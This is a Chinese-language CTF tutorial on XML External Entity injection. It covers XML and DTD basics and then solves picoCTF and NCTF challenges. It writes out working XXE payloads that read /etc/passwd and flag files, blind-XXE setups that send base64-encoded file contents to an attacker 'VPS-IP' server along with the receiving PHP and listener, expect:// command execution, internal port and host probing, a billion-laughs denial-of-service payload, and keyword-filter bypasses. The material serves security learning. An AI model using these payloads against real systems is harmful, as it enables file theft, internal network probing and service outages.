XXE(XML External Entity Injection) 全称为 XML 外部实体注入
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 被设计为传输和存储数据,其焦点是数据的内容
XML 被设计用来结构化、存储以及传输信息
XML 允许创作者定义自己的标签和自己的文档结构
1.XML 文档声明,在文档的第一行
2.XML 文档类型定义,即DTD,XXE 漏洞所在的地方
3.XML 文档元素
<?xml version="1.0" encoding="utf-8" standalone="yes"?> <!--第一行是XML声明--> <!--这是XML处理指令的例子。处理指令以<?开始,以?>结束--> <!--在<?后的第一个单词是处理指令名,在本例中是xml--> <!--处理指令一定要顶格写,前面不能有任何空白--> <students> <GREETING><!--开始标记--> Hello World<!--元素内容--> </GREETING><!--结束标记--> <student gender="male" isHandsome="true"> <id>001</id> <name>zhangsan</name> <address>Beijing</address> <score>50</score> </student> <student gender="female"> <id>002</id> <name>lisi</name> <address>北京</address> <score/><!--为空的简写形式--> </student> </students>
注:
文档注释用包围,不允许嵌套,允许多行注释。
XML里面的元素严格区分大小写。
XML文档必须有且只有一个根元素。(根元素是一个完全包括文档中其他所有元素的元素。)
每一个XML文档都以一个XML声明开始,用以指明所用的XML的版本。
XML声明有version 、encoding和standalone特性。
version特性表明这个文档符合XML 1.0规范。
encoding 属性指定了编码格式,默认情况下是utf-8,这个属性要放在属性前面。
像standalone是XML文档的属性,位于等号左边的是特姓名,而其值位于等号的右边,并用双引号或单引号括起来。
自定义的元素也可以有一个或多个属性,其属性值使用单引号或者双引号括起来。
如果属性值中有双引号则使用单引号,反之亦然。
属性的形式为:
属性名= "属性值",比如gender="male"。
多个属性值之间用空格隔开(一个或多个空格都可以)。
在一个元素上,相同的属性只能出现一次。
属性值不能包含<, >, &。
实体叫ENTITY,实体的作用是避免重复输入。
在XML中,有5个预定义的实体引用
自定义实体语法:
<!DOCTYPE 根元素[
<!ENTITY 实体名 "实体内容">
]>
引用已定义的实体:
&实体名;
处理指令用于XML解析器传递信息到应用程序。
语法:<?目标 指令?>
PI必须以一个叫做目标的标识符开头,这个标识符遵从如同元素和属性一样的规则,目标是指令所指向的应用的名称,指令是传递给应用程序的信息。
用于把整段文本解释为纯字符数据而不是标记的情况。
包含大量的<、>、&、或者"字符。CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是XML标记。
语法:
<![CDATA[
......
]]>
可以输入任意字符(除]]外),不能嵌套。
<?xml version="1.0" encoding="utf-8"?>
<root>
<![CDATA[
<hello>
<world>
这里放任何内容都是合法的
]]>
<subRoot>
</subRoot>
</root>
PCDATA
表示已解析的字符数据。
PCDATA
的意思是被解析的字符数据(parsed character data)
。可以把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。PCDATA
是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。但是,被解析的字符数据不应当包含任何 & < >
字符;需要使用 & < >
实体来分别替换它们。
DTD是XML文档的一个格式规范
exp:
<?xml version="1.0"?>//这一行是 XML 文档定义 <!DOCTYPE message [ <!ELEMENT message (receiver ,sender ,header ,msg)> <!ELEMENT receiver (#PCDATA)> <!ELEMENT sender (#PCDATA)> <!ELEMENT header (#PCDATA)> <!ELEMENT msg (#PCDATA)>
<!DOCTYPE message [
#这个就是定义了一个根元素message
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
#这里就是为根元素message定义了4个子元素,receiver,sender,header,msg,然后这4个元素必须要出现而且要按照顺序
<!DOCTYPE 根元素[定义内容]>
exp:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT data (aaa,bbb,ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
]>
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
exp:外部的DTD文档
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT data (aaa, bbb, ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data SYSTEM "data.dtd"> <data> <aaa>1<aaa> <bbb>2<bbb> <ccc>3<ccc> </data>
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
exp:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "data.dtd" [
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT data (aaa, bbb, ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
]>
<!ENTITY 实体名称 "实体的值">
一个实体由三部分构成: &
符号, 一个实体名称, 以及一个分号 (;)
exp:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "hello">]>
<foo>&xxe;</foo>
这里定义的实体是xxe,实体的值是hello
<!ENTITY 实体名称 SYSTEM "URL">
XML
中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM
和PUBLIC
两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以利用如下协议
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
<!ENTITY %实体名称 "值">
<!ENTITY %实体名称 SYSTEM "URL">
exp:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
外部evil.dtd的内容
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
我们结合具体题目来分析
例题:
1.picoctf2023 SOAP
题目提示我们要看系统配置文件/etc/passwd
有三个按钮,都点了一下没有东西
看一下源码,源码有一个xml的js文件看一下
window.contentType = 'application/xml'; function payload(data) { var xml = '<?xml version="1.0" encoding="UTF-8"?>'; xml += '<data>'; for(var pair of data.entries()) { var key = pair[0]; var value = pair[1]; xml += '<' + key + '>' + value + '</' + key + '>'; } xml += '</data>'; return xml; }
这里有一个XML文档说明
以及说明了XML的根元素为data
抓一下包看一下
这里POST了一个ID的变量,我这里猜测ID就是key(题目的DTD感觉缺失了一些东西)
构造我们的payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd" ]> <data> <ID> 2&xxe; </ID> </data>
发现无回显,继续检查一下,发现我们这里的Content-Type为application/x-www-form-urlencoded,这就是问题所在
改为application/xml,发现成功得到flag
2.[NCTF 2019]Fake XML cookbook
随便测试一下,发现通过报错信息回显
查看一下源码
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
这里给出了我们DTD,我们根据DTD进行构造payload即可
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ #根据给出的DTD,可知根元素是data <!ENTITY xxe SYSTEM "file:///etc/passwd"> #尝试读取系统配置文件 ]> <user> <username>2&xxe;</username> <password>11</password> </user>
成功回显
尝试直接读取flag
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <user> <username>2&xxe;</username> <password>11</password> </user>
3.[NCTF 2019]True XML cookbook
跟上一道题的源码一样,尝试沿用上题的payload发现不能直接获取flag了,尝试利用XXE进行RCE,发现应该是php没有装有expect扩展,无法实现RCE
就感觉有可能是内网探测
利用/proc/net/arp读取到内网的另一台服务器的IP地址172.18.0.1
尝试爆破端口,我爆破到10000多也没有什么信息,
之后查看内网存活主机/etc/hosts
发现有一台存活主机
直接访问发现不行,就利用BP爆破跑内网存活主机,跑出flag
也就是我们的blind xxe,一般没有echo,return这些函数,返回不了数值
(需要在自己的VPS上配置上http服务,可以从公网访问我们的dtd文件和xml文件)
方案一:
在自己的VPS上创建一个test.php
<?php file_put_contents("test.txt", $_GET['file']) ; ?>
再创建一个index.php
<?php $xml=<<<EOF <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///C:/test.txt"> <!ENTITY % remote SYSTEM "http://VPS-IP/test.xml"> %remote; %all; %send; ]> EOF; $data = simplexml_load_string($xml) ; echo "<pre>" ; print_r($data) ; ?>
再创建一个test.xml
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps-ip/test.php?file=%file;'>">
当访问http://vps-ip/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。
方案二
可以将文件内容发送到远程服务器,然后读取。
exp:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd; %all;
]>
<value>&send;</value>
然后在自己的VPS上创建一个evil.xml,内容为
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
用来获取用户的配置文件
方案三
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)vps-ip.
exp:
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./aaa.php"> # /etc/issue
<!ENTITY % dtd SYSTEM "http://VPS-IP/evil.dtd">
%dtd;
%send;
]>
evil.dtd的内容,内部的%号要进行实体编码成%。下面是具体的代码实现
<!ENTITY % all
“<!ENTITY % send SYSTEM ‘http://VPS-IP/?%file;’>”
>
%all;
如果有报错的话直接查看VPS的报错信息能得到aaa.php的base64编码后的结果
没有的话可以查看VPS的日志信息,能看到经过base64编码后的数据
方案四
其实跟方案四差不多,但是可以利用监听VPS端口来获取信息
方法是在自己的VPS上创建一个evil.dtd
exp:
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://VPS-IP:3333/%file;'> ">
%dtd;
%xxe;
之后再根据题目的要求,上传一个payload
exp:
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://VPS-IP/evil.dtd">
%aaa;
]>
<root>66666</root>
之后在自己的VPS上监听3333端口就行
python -m http.server 3333
#前提是自己的VPS需要配置好http服务
在php环境下,xml命令执行需要php装有expect
扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除有幸运的情况咯,这里就搬一下大师傅的代码以供参考:
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
适用于有回显和blind xxe,是外部一般实体
exp: <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY contentSYSTEM "http://10.165.89.150:88">]> <name>&content;</name>
根据响应时间判断:(看BP右下角的响应时间)
开放端口,响应时间为16millis
未开放端口,延迟反应1047millis
跟探测端口类似,只不过我们这里是通过文件读取,先查看有没有存活的内网服务器,然后利用BP进行目录遍历爆破IP
exp:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/hosts">
]>
<user>
<username>2&xxe;</username>
<password>11</password>
</user>
exp:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "http://10.0.86.10">
]>
<user><username>&admin;</username><password>123456</password></user>
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
XML解析器尝试解析该文件时,由于DTD的定义指数级展开(即递归引用),举个例子,这里定义了一个lol的实体,实体还有“lol”的字符串,然后定义了一个lol2的实体,里面有10个"lol"的字符串,依次递推,一个lol3实体引用10个lol2实体,这样的话可以一直向服务器传输文件,也就是形成了DOS攻击,经过XML解析器解析后的内存占用会比其本身大的多。
对于一些CTF的题目,会对SYSTEM等关键词进行过滤,我们可以利用UTF-16等转码后进行绕过
可以利用linux中的命令iconv
iconv -f utf8 -t utf16 1.xml>test.xml
iconv -f #指定待转换文件的编码
iconv -t #制定目标编码
XML文档有一个特性,在设置标签属性的格式时可以运用多个空格,所以我们可以在XML声明,定义实体的地方利用足够多的空格来进行绕过
exp:
<?xml
version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd; %all;
]>
<value>&send;</value>